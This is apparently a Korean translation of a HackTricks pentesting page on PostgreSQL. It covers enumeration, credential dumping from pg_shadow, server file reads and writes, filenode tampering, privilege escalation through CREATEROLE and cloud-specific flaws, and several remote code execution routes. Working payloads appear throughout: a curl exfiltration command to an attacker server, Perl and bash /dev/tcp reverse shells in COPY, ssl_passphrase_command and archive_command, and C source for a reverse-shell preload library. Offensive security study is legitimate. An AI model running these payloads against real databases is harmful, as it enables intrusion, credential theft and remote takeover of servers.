# 5432,5433 - Pentesting Postgresql
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql)를 사용하여 세계에서 **가장 발전된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\ 오늘 바로 액세스하세요: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} {{#include ../banners/hacktricks-training.md}} ## **기본 정보** **PostgreSQL**은 **오픈 소스**인 **객체 관계형 데이터베이스 시스템**으로 설명됩니다. 이 시스템은 SQL 언어를 활용할 뿐만 아니라 추가 기능으로 이를 향상시킵니다. 다양한 데이터 유형과 작업을 처리할 수 있는 능력 덕분에 개발자와 조직에 다재다능한 선택이 됩니다. **기본 포트:** 5432이며, 이 포트가 이미 사용 중인 경우 postgresql은 사용 중이지 않은 다음 포트(아마도 5433)를 사용할 것 같습니다. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` ## 연결 및 기본 열거 ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection psql -h -p -U -W # Remote connection ``` ```sql psql -h localhost -d -U #Password will be prompted \list # List databases \c # use the database \d # List tables \du+ # Get users roles # Get current user SELECT user; # Get current database SELECT current_catalog; # List schemas SELECT schema_name,schema_owner FROM information_schema.schemata; \dn+ #List databases SELECT datname FROM pg_database; #Read credentials (usernames + pwd hash) SELECT usename, passwd from pg_shadow; # Get languages SELECT lanname,lanacl FROM pg_language; # Show installed extensions SHOW rds.extensions; SELECT * FROM pg_extension; # Get history of commands executed \s ``` > [!WARNING] > **`\list`**를 실행했을 때 **`rdsadmin`**이라는 데이터베이스가 발견되면 **AWS postgresql 데이터베이스**에 들어와 있다는 것을 알 수 있습니다. **PostgreSQL 데이터베이스를 악용하는 방법**에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/ {{#endref}} ## 자동 열거 ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` ### [**무차별 대입 공격**](../generic-hacking/brute-force.md#postgresql) ### **포트 스캐닝** [**이 연구**](https://www.exploit-db.com/papers/13084)에 따르면, 연결 시도가 실패하면 `dblink`는 오류에 대한 설명을 포함하여 `sqlclient_unable_to_establish_sqlconnection` 예외를 발생시킵니다. 이러한 세부 사항의 예는 아래에 나열되어 있습니다. ```sql SELECT * FROM dblink_connect('host=1.2.3.4 port=5678 user=name password=secret dbname=abc connect_timeout=10'); ``` - 호스트가 다운되었습니다. `DETAIL: 서버에 연결할 수 없습니다: 호스트에 대한 경로가 없습니다. 서버가 호스트 "1.2.3.4"에서 실행 중이며 포트 5678에서 TCP/IP 연결을 수락하고 있습니까?` - 포트가 닫혀 있습니다. ``` DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` - 포트가 열려 있습니다. ``` DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` 또는 ``` DETAIL: FATAL: password authentication failed for user "name" ``` - 포트가 열려 있거나 필터링됨 ``` DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` In PL/pgSQL 함수에서는 현재 예외 세부정보를 얻는 것이 불가능합니다. 그러나 PostgreSQL 서버에 직접 접근할 수 있다면 필요한 정보를 검색할 수 있습니다. 시스템 테이블에서 사용자 이름과 비밀번호를 추출하는 것이 불가능하다면, 이전 섹션에서 논의된 단어 목록 공격 방법을 활용하는 것을 고려할 수 있습니다. 이는 긍정적인 결과를 가져올 수 있습니다. ## 권한 열거 ### 역할 | 역할 유형 | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | 역할은 슈퍼유저 권한을 가집니다. | | rolinherit | 역할은 자신이 속한 역할의 권한을 자동으로 상속받습니다. | | rolcreaterole | 역할은 더 많은 역할을 생성할 수 있습니다. | | rolcreatedb | 역할은 데이터베이스를 생성할 수 있습니다. | | rolcanlogin | 역할은 로그인할 수 있습니다. 즉, 이 역할은 초기 세션 인증 식별자로 제공될 수 있습니다. | | rolreplication | 역할은 복제 역할입니다. 복제 역할은 복제 연결을 시작하고 복제 슬롯을 생성 및 삭제할 수 있습니다. | | rolconnlimit | 로그인할 수 있는 역할의 경우, 이 역할이 만들 수 있는 최대 동시 연결 수를 설정합니다. -1은 제한이 없음을 의미합니다. | | rolpassword | 비밀번호가 아닙니다 (항상 `********`로 읽힙니다). | | rolvaliduntil | 비밀번호 만료 시간 (비밀번호 인증에만 사용됨); 만료가 없으면 null입니다. | | rolbypassrls | 역할은 모든 행 수준 보안 정책을 우회합니다. 자세한 내용은 [섹션 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)를 참조하십시오. | | rolconfig | 실행 시간 구성 변수에 대한 역할별 기본값 | | oid | 역할의 ID | #### 흥미로운 그룹 - **`pg_execute_server_program`**의 구성원인 경우 **프로그램을 실행**할 수 있습니다. - **`pg_read_server_files`**의 구성원인 경우 **파일을 읽**을 수 있습니다. - **`pg_write_server_files`**의 구성원인 경우 **파일을 쓸** 수 있습니다. > [!NOTE] > Postgres에서 **사용자**, **그룹** 및 **역할**은 **같습니다**. 이는 **사용 방법**과 **로그인 허용 여부**에 따라 다릅니다. ```sql # Get users roles \du #Get users roles & groups # r.rolpassword # r.rolconfig, SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolbypassrls, r.rolconnlimit, r.rolvaliduntil, r.oid, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1; # Check if current user is superiser ## If response is "on" then true, if "off" then false SELECT current_setting('is_superuser'); # Try to grant access to groups ## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section) GRANT pg_execute_server_program TO "username"; GRANT pg_read_server_files TO "username"; GRANT pg_write_server_files TO "username"; ## You will probably get this error: ## Cannot GRANT on the "pg_write_server_files" role without being a member of the role. # Create new role (user) as member of a role (group) CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files; ## Common error ## Cannot GRANT on the "pg_read_server_files" role without being a member of the role. ``` ### 테이블 ```sql # Get owners of tables select schemaname,tablename,tableowner from pg_tables; ## Get tables where user is owner select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres'; # Get your permissions over tables SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants; #Check users privileges over a table (pg_shadow on this example) ## If nothing, you don't have any permission SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow'; ``` ### 함수 ```sql # Interesting functions are inside pg_catalog \df * #Get all \df *pg_ls* #Get by substring \df+ pg_read_binary_file #Check who has access # Get all functions of a schema \df pg_catalog.* # Get all functions of a schema (pg_catalog in this case) SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position FROM information_schema.routines LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name WHERE routines.specific_schema='pg_catalog' ORDER BY routines.routine_name, parameters.ordinal_position; # Another aparent option SELECT * FROM pg_proc; ``` ## 파일 시스템 작업 ### 디렉토리 및 파일 읽기 이 [**커밋** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)에서 정의된 **`DEFAULT_ROLE_READ_SERVER_FILES`** 그룹( **`pg_read_server_files`**라고 불림) 및 **슈퍼 유저**는 모든 경로에서 **`COPY`** 방법을 사용할 수 있습니다( `genfile.c`의 `convert_and_check_filename`을 확인하세요): ```sql # Read file CREATE TABLE demo(t text); COPY demo from '/etc/passwd'; SELECT * FROM demo; ``` > [!WARNING] > 슈퍼 유저가 아니지만 **CREATEROLE** 권한이 있는 경우 **그 그룹의 구성원으로 자신을 만들 수 있습니다:** > > ```sql > GRANT pg_read_server_files TO username; > ``` > > [**자세한 정보.**](pentesting-postgresql.md#privilege-escalation-with-createrole) 다른 **postgres 함수**가 있어 **파일을 읽거나 디렉토리를 나열**하는 데 사용할 수 있습니다. 오직 **슈퍼유저**와 **명시적 권한이 있는 사용자**만 사용할 수 있습니다: ```sql # Before executing these function go to the postgres DB (not in the template1) \c postgres ## If you don't do this, you might get "permission denied" error even if you have permission select * from pg_ls_dir('/tmp'); select * from pg_read_file('/etc/passwd', 0, 1000000); select * from pg_read_binary_file('/etc/passwd'); # Check who has permissions \df+ pg_ls_dir \df+ pg_read_file \df+ pg_read_binary_file # Try to grant permissions GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username; # By default you can only access files in the datadirectory SHOW data_directory; # But if you are a member of the group pg_read_server_files # You can access any file, anywhere GRANT pg_read_server_files TO username; # Check CREATEROLE privilege escalation ``` 더 많은 **함수**는 [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)에서 찾을 수 있습니다. ### 간단한 파일 쓰기 오직 **슈퍼 사용자**와 **`pg_write_server_files`**의 구성원만이 파일을 쓰기 위해 copy를 사용할 수 있습니다. ```sql copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` > [!WARNING] > 슈퍼 유저가 아니더라도 **`CREATEROLE`** 권한이 있는 경우 **그 그룹의 구성원이 될 수 있습니다:** > > ```sql > GRANT pg_write_server_files TO username; > ``` > > [**자세한 정보.**](pentesting-postgresql.md#privilege-escalation-with-createrole) COPY는 줄 바꿈 문자를 처리할 수 없으므로, base64 페이로드를 사용하더라도 **한 줄로 전송해야 합니다.**\ 이 기술의 매우 중요한 제한 사항은 **`copy`가 이진 파일을 쓰는 데 사용할 수 없다는 것입니다. 이진 값이 일부 수정되기 때문입니다.** ### **이진 파일 업로드** 그러나 **큰 이진 파일을 업로드하는 다른 기술이 있습니다:** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} ## **버그 바운티 팁**: **Intigriti**에 **가입하세요**, 해커를 위해 해커가 만든 프리미엄 **버그 바운티 플랫폼**입니다! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! {% embed url="https://go.intigriti.com/hacktricks" %} ### 로컬 파일 쓰기를 통한 PostgreSQL 테이블 데이터 업데이트 PostgreSQL 서버 파일을 읽고 쓸 수 있는 권한이 있는 경우, **연관된 파일 노드를 덮어쓰는 방식으로** 서버의 모든 테이블을 업데이트할 수 있습니다 [PostgreSQL 데이터 디렉토리](https://www.postgresql.org/docs/8.1/storage.html). **이 기술에 대한 자세한 내용은** [**여기**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)에서 확인하세요. 필요한 단계: 1. PostgreSQL 데이터 디렉토리 가져오기 ```sql SELECT setting FROM pg_settings WHERE name = 'data_directory'; ``` **참고:** 설정에서 현재 데이터 디렉토리 경로를 가져올 수 없는 경우, `SELECT version()` 쿼리를 통해 PostgreSQL의 주요 버전을 조회하고 경로를 무작위로 추측해 볼 수 있습니다. PostgreSQL의 Unix 설치에서 일반적인 데이터 디렉토리 경로는 `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`입니다. 일반적인 클러스터 이름은 `main`입니다. 2. 대상 테이블과 관련된 파일 노드의 상대 경로 가져오기 ```sql SELECT pg_relation_filepath('{TABLE_NAME}') ``` 이 쿼리는 `base/3/1337`과 같은 결과를 반환해야 합니다. 디스크의 전체 경로는 `$DATA_DIRECTORY/base/3/1337`, 즉 `/var/lib/postgresql/13/main/base/3/1337`입니다. 3. `lo_*` 함수를 통해 파일 노드 다운로드 ```sql SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337) ``` 4. 대상 테이블과 관련된 데이터 유형 가져오기 ```sql SELECT STRING_AGG( CONCAT_WS( ',', attname, typname, attlen, attalign ), ';' ) FROM pg_attribute JOIN pg_type ON pg_attribute.atttypid = pg_type.oid JOIN pg_class ON pg_attribute.attrelid = pg_class.oid WHERE pg_class.relname = '{TABLE_NAME}'; ``` 5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor)를 사용하여 [파일 노드 편집](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); 모든 `rol*` 불리언 플래그를 1로 설정하여 전체 권한을 부여합니다. ```bash python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` ![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) 6. 수정된 파일 노드를 `lo_*` 함수를 통해 다시 업로드하고 디스크의 원본 파일을 덮어씁니다. ```sql SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64')) SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') ``` 7. _(선택 사항)_ 비싼 SQL 쿼리를 실행하여 메모리 내 테이블 캐시를 지웁니다. ```sql SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` 8. 이제 PostgreSQL에서 업데이트된 테이블 값을 확인할 수 있습니다. `pg_authid` 테이블을 편집하여 슈퍼관리자가 될 수도 있습니다. **자세한 내용은** [**다음 섹션**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)을 참조하세요. ## RCE ### **프로그램에 대한 RCE** [버전 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)부터는 **슈퍼 유저**와 **`pg_execute_server_program`** 그룹의 구성원만 RCE를 위해 copy를 사용할 수 있습니다 (예: 유출 사례: ```sql '; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- - ``` exec를 실행하는 예: ```bash #PoC DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec; #Reverse shell #Notice that in order to scape a single quote you need to put 2 single quotes COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'''; ``` > [!WARNING] > 슈퍼 유저가 아니지만 **`CREATEROLE`** 권한이 있는 경우 **그 그룹의 구성원이 될 수 있습니다:** > > ```sql > GRANT pg_execute_server_program TO username; > ``` > > [**자세한 정보.**](pentesting-postgresql.md#privilege-escalation-with-createrole) 또한 **metasploit**의 `multi/postgres/postgres_copy_from_program_cmd_exec` 모듈을 사용할 수 있습니다.\ 이 취약점에 대한 더 많은 정보는 [**여기**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)에서 확인할 수 있습니다. CVE-2019-9193으로 보고되었지만, Postges는 이것이 [기능이며 수정되지 않을 것이라고 선언했습니다](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### PostgreSQL 언어로 RCE {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md {{#endref}} ### PostgreSQL 확장으로 RCE 이전 게시물에서 **이진 파일을 업로드하는 방법**을 **배운** 후, **PostgreSQL 확장을 업로드하고 로드하여 RCE를 얻으려고 시도할 수 있습니다.** {{#ref}} ../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md {{#endref}} ### PostgreSQL 구성 파일 RCE > [!NOTE] > 다음 RCE 벡터는 모든 단계가 중첩된 SELECT 문을 통해 수행될 수 있으므로 제한된 SQLi 컨텍스트에서 특히 유용합니다. PostgreSQL의 **구성 파일**은 **postgres 사용자**에 의해 **쓰기 가능**하며, 이는 데이터베이스를 실행하는 사용자입니다. 따라서 **슈퍼유저**로서 파일 시스템에 파일을 쓸 수 있으며, 따라서 이 파일을 **덮어쓸 수 있습니다.** ![](<../images/image (322).png>) #### **ssl_passphrase_command로 RCE** 이 기술에 대한 더 많은 정보는 [여기](https://pulsesecurity.co.nz/articles/postgres-sqli)에서 확인할 수 있습니다. 구성 파일에는 RCE로 이어질 수 있는 몇 가지 흥미로운 속성이 있습니다: - `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` 데이터베이스의 개인 키 경로 - `ssl_passphrase_command = ''` 개인 파일이 비밀번호로 보호되는 경우 (암호화됨) PostgreSQL은 **이 속성에 지정된 명령을 실행합니다**. - `ssl_passphrase_command_supports_reload = off` **이** 속성이 **켜져 있으면** 비밀번호로 보호된 키가 **실행될 때** **명령**이 `pg_reload_conf()`가 **실행될 때** **실행됩니다**. 그런 다음 공격자는 다음을 수행해야 합니다: 1. **서버에서 개인 키 덤프** 2. **다운로드한 개인 키 암호화**: 1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key` 3. **덮어쓰기** 4. 현재 PostgreSQL **구성 덤프** 5. 언급된 속성 구성으로 **구성 덮어쓰기**: 1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'` 2. `ssl_passphrase_command_supports_reload = on` 6. `pg_reload_conf()` 실행 테스트하는 동안 **개인 키 파일의 권한이 640**이어야 하며, **root** 소유이고 **ssl-cert 또는 postgres 그룹**에 속해야 (postgres 사용자가 읽을 수 있도록) 하며, _/var/lib/postgresql/12/main_에 위치해야 한다는 것을 알았습니다. #### **archive_command로 RCE** **더 많은** [**정보는 이 구성 및 WAL에 대한 정보는 여기**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**서 확인할 수 있습니다.** 구성 파일에서 악용 가능한 또 다른 속성은 `archive_command`입니다. 이 작업이 수행되려면 `archive_mode` 설정이 `'on'` 또는 `'always'`여야 합니다. 그렇다면 `archive_command`의 명령을 덮어쓰고 WAL(쓰기 앞서 기록) 작업을 통해 실행하도록 강제할 수 있습니다. 일반적인 단계는 다음과 같습니다: 1. 아카이브 모드가 활성화되어 있는지 확인: `SELECT current_setting('archive_mode')` 2. 페이로드로 `archive_command` 덮어쓰기. 예를 들어, 리버스 셸: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'` 3. 구성 다시 로드: `SELECT pg_reload_conf()` 4. WAL 작업을 실행하여 아카이브 명령을 호출: `SELECT pg_switch_wal()` 또는 일부 PostgreSQL 버전의 경우 `SELECT pg_switch_xlog()` #### **preload 라이브러리로 RCE** 이 기술에 대한 더 많은 정보는 [여기](https://adeadfed.com/posts/postgresql-select-only-rce/)에서 확인할 수 있습니다. 이 공격 벡터는 다음 구성 변수를 활용합니다: - `session_preload_libraries` -- 클라이언트 연결 시 PostgreSQL 서버에 의해 로드될 라이브러리. - `dynamic_library_path` -- PostgreSQL 서버가 라이브러리를 검색할 디렉토리 목록. `dynamic_library_path` 값을 데이터베이스를 실행하는 `postgres` 사용자가 쓸 수 있는 디렉토리, 예를 들어 `/tmp/` 디렉토리로 설정하고, 그곳에 악성 `.so` 객체를 업로드할 수 있습니다. 다음으로, `session_preload_libraries` 변수에 새로 업로드한 라이브러리를 포함시켜 PostgreSQL 서버가 이를 로드하도록 강제할 것입니다. 공격 단계는 다음과 같습니다: 1. 원본 `postgresql.conf` 다운로드 2. `dynamic_library_path` 값에 `/tmp/` 디렉토리 포함, 예: `dynamic_library_path = '/tmp:$libdir'` 3. `session_preload_libraries` 값에 악성 라이브러리 이름 포함, 예: `session_preload_libraries = 'payload.so'` 4. `SELECT version()` 쿼리를 통해 주요 PostgreSQL 버전 확인 5. 올바른 PostgreSQL 개발 패키지로 악성 라이브러리 코드 컴파일 샘플 코드: ```c #include #include #include #include #include #include #include #include "postgres.h" #include "fmgr.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif void _init() { /* 코드는 https://www.revshells.com/에서 가져옴 */ int port = REVSHELL_PORT; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/bash", NULL}; execve("/bin/bash", argv, NULL); } ``` 코드 컴파일: ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c ``` 6. 2-3단계에서 생성된 악성 `postgresql.conf`를 업로드하고 원본을 덮어쓰기 7. 5단계에서 `payload.so`를 `/tmp` 디렉토리에 업로드 8. 서버를 재시작하거나 `SELECT pg_reload_conf()` 쿼리를 호출하여 서버 구성을 다시 로드 9. 다음 DB 연결 시 리버스 셸 연결을 수신합니다. ## **Postgres Privesc** ### CREATEROLE Privesc #### **Grant** [**문서**](https://www.postgresql.org/docs/13/sql-grant.html)에 따르면: _**`CREATEROLE`** 권한이 있는 역할은 **슈퍼유저가 아닌** 모든 역할에 대한 **구성원 자격을 부여하거나 취소할 수 있습니다**._ 따라서 **`CREATEROLE`** 권한이 있는 경우 다른 **역할**(슈퍼유저가 아닌)에 대한 접근 권한을 부여하여 파일을 읽고 쓸 수 있는 옵션과 명령을 실행할 수 있습니다: ```sql # Access to execute commands GRANT pg_execute_server_program TO username; # Access to read files GRANT pg_read_server_files TO username; # Access to write files GRANT pg_write_server_files TO username; ``` #### 비밀번호 수정 이 역할을 가진 사용자는 다른 **비슈퍼유저**의 **비밀번호**를 **변경**할 수 있습니다: ```sql #Change password ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc to SUPERUSER **로컬 사용자가 비밀번호 없이 PostgreSQL에 로그인할 수 있는 경우가 많습니다.** 따라서 **코드를 실행할 수 있는 권한을 얻은 후** 이러한 권한을 악용하여 **`SUPERUSER`** 역할을 부여받을 수 있습니다: ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` > [!NOTE] > 이는 일반적으로 **`pg_hba.conf`** 파일의 다음 줄들 때문에 가능합니다: > > ```bash > # "local"은 Unix 도메인 소켓 연결 전용입니다 > local all all trust > # IPv4 로컬 연결: > host all all 127.0.0.1/32 trust > # IPv6 로컬 연결: > host all all ::1/128 trust > ``` ### **ALTER TABLE privesc** [**이 글**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)에서는 사용자가 부여받은 ALTER TABLE 권한을 악용하여 Postgres GCP에서 **privesc**가 가능했던 방법을 설명합니다. **다른 사용자를 테이블의 소유자로 만들려고** 할 때 **오류**가 발생해야 하지만, GCP는 GCP의 **비슈퍼유저 postgres 사용자**에게 그 **옵션을 제공한 것 같습니다**:
이 아이디어를 **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) 명령이 **인덱스 함수가 있는 테이블**에서 실행될 때, **함수**가 **테이블** **소유자의 권한**으로 명령의 일부로 **호출된다는** 사실과 결합하면, 함수로 인덱스를 생성하고 해당 테이블에 대한 **슈퍼유저**의 소유자 권한을 부여한 다음, 악의적인 함수를 사용하여 명령을 실행할 수 있는 ANALYZE를 테이블에서 실행할 수 있습니다. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, save_sec_context | SECURITY_RESTRICTED_OPERATION); ``` #### Exploitation 1. 새 테이블을 생성하는 것으로 시작합니다. 2. 인덱스 함수에 데이터를 제공하기 위해 테이블에 관련 없는 내용을 삽입합니다. 3. 코드 실행 페이로드를 포함하는 악성 인덱스 함수를 개발하여 무단 명령이 실행될 수 있도록 합니다. 4. 테이블의 소유자를 "cloudsqladmin"으로 ALTER합니다. 이는 Cloud SQL이 데이터베이스를 관리하고 유지하는 데 사용하는 GCP의 슈퍼유저 역할입니다. 5. 테이블에 대해 ANALYZE 작업을 수행합니다. 이 작업은 PostgreSQL 엔진이 테이블 소유자의 사용자 컨텍스트인 "cloudsqladmin"으로 전환하도록 강제합니다. 결과적으로, 악성 인덱스 함수는 "cloudsqladmin"의 권한으로 호출되어 이전에 무단으로 실행된 셸 명령이 실행될 수 있게 됩니다. PostgreSQL에서 이 흐름은 다음과 같습니다: ```sql CREATE TABLE temp_table (data text); CREATE TABLE shell_commands_results (data text); INSERT INTO temp_table VALUES ('dummy content'); /* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql IMMUTABLE AS 'select ''nothing'';'; CREATE INDEX index_malicious ON public.temp_table (suid_function(data)); ALTER TABLE temp_table OWNER TO cloudsqladmin; /* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';'; ANALYZE public.temp_table; ``` 그런 다음, `shell_commands_results` 테이블은 실행된 코드의 출력을 포함하게 됩니다: ``` uid=2345(postgres) gid=2345(postgres) groups=2345(postgres) ``` ### 로컬 로그인 일부 잘못 구성된 postgresql 인스턴스는 모든 로컬 사용자의 로그인을 허용할 수 있으며, **`dblink` 함수**를 사용하여 127.0.0.1에서 로컬로 로그인하는 것이 가능합니다: ```sql \du * # Get Users \l # Get databases SELECT * FROM dblink('host=127.0.0.1 port=5432 user=someuser password=supersecret dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` > [!WARNING] > 이전 쿼리가 작동하려면 **함수 `dblink`가 존재해야 합니다**. 존재하지 않는 경우 다음을 사용하여 생성해 볼 수 있습니다. > > ```sql > CREATE EXTENSION dblink; > ``` 더 높은 권한을 가진 사용자의 비밀번호가 있지만, 해당 사용자가 외부 IP에서 로그인할 수 없는 경우 다음 함수를 사용하여 해당 사용자로 쿼리를 실행할 수 있습니다: ```sql SELECT * FROM dblink('host=127.0.0.1 user=someuser dbname=somedb', 'SELECT usename,passwd from pg_shadow') RETURNS (result TEXT); ``` 이 함수가 존재하는지 확인할 수 있습니다: ```sql SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **사용자 정의 함수와** SECURITY DEFINER [**이 글에서**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), pentesters는 IBM이 제공한 postgres 인스턴스 내에서 privesc를 수행할 수 있었는데, 그 이유는 **SECURITY DEFINER 플래그가 있는 이 함수를 발견했기 때문입니다**:
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
[**문서에서 설명된 바와 같이**](https://www.postgresql.org/docs/current/sql-createfunction.html), **SECURITY DEFINER가 있는 함수는** **소유자의 권한으로 실행됩니다**. 따라서, 함수가 **SQL Injection에 취약하거나 공격자가 제어하는 매개변수로 일부 **특권 작업을 수행하는 경우**, 이를 악용하여 **postgres 내에서 권한을 상승시킬 수 있습니다**. 이전 코드의 4번째 줄에서 함수가 **SECURITY DEFINER** 플래그를 가지고 있는 것을 볼 수 있습니다. ```sql CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user); ``` 그리고 **명령어를 실행합니다**:
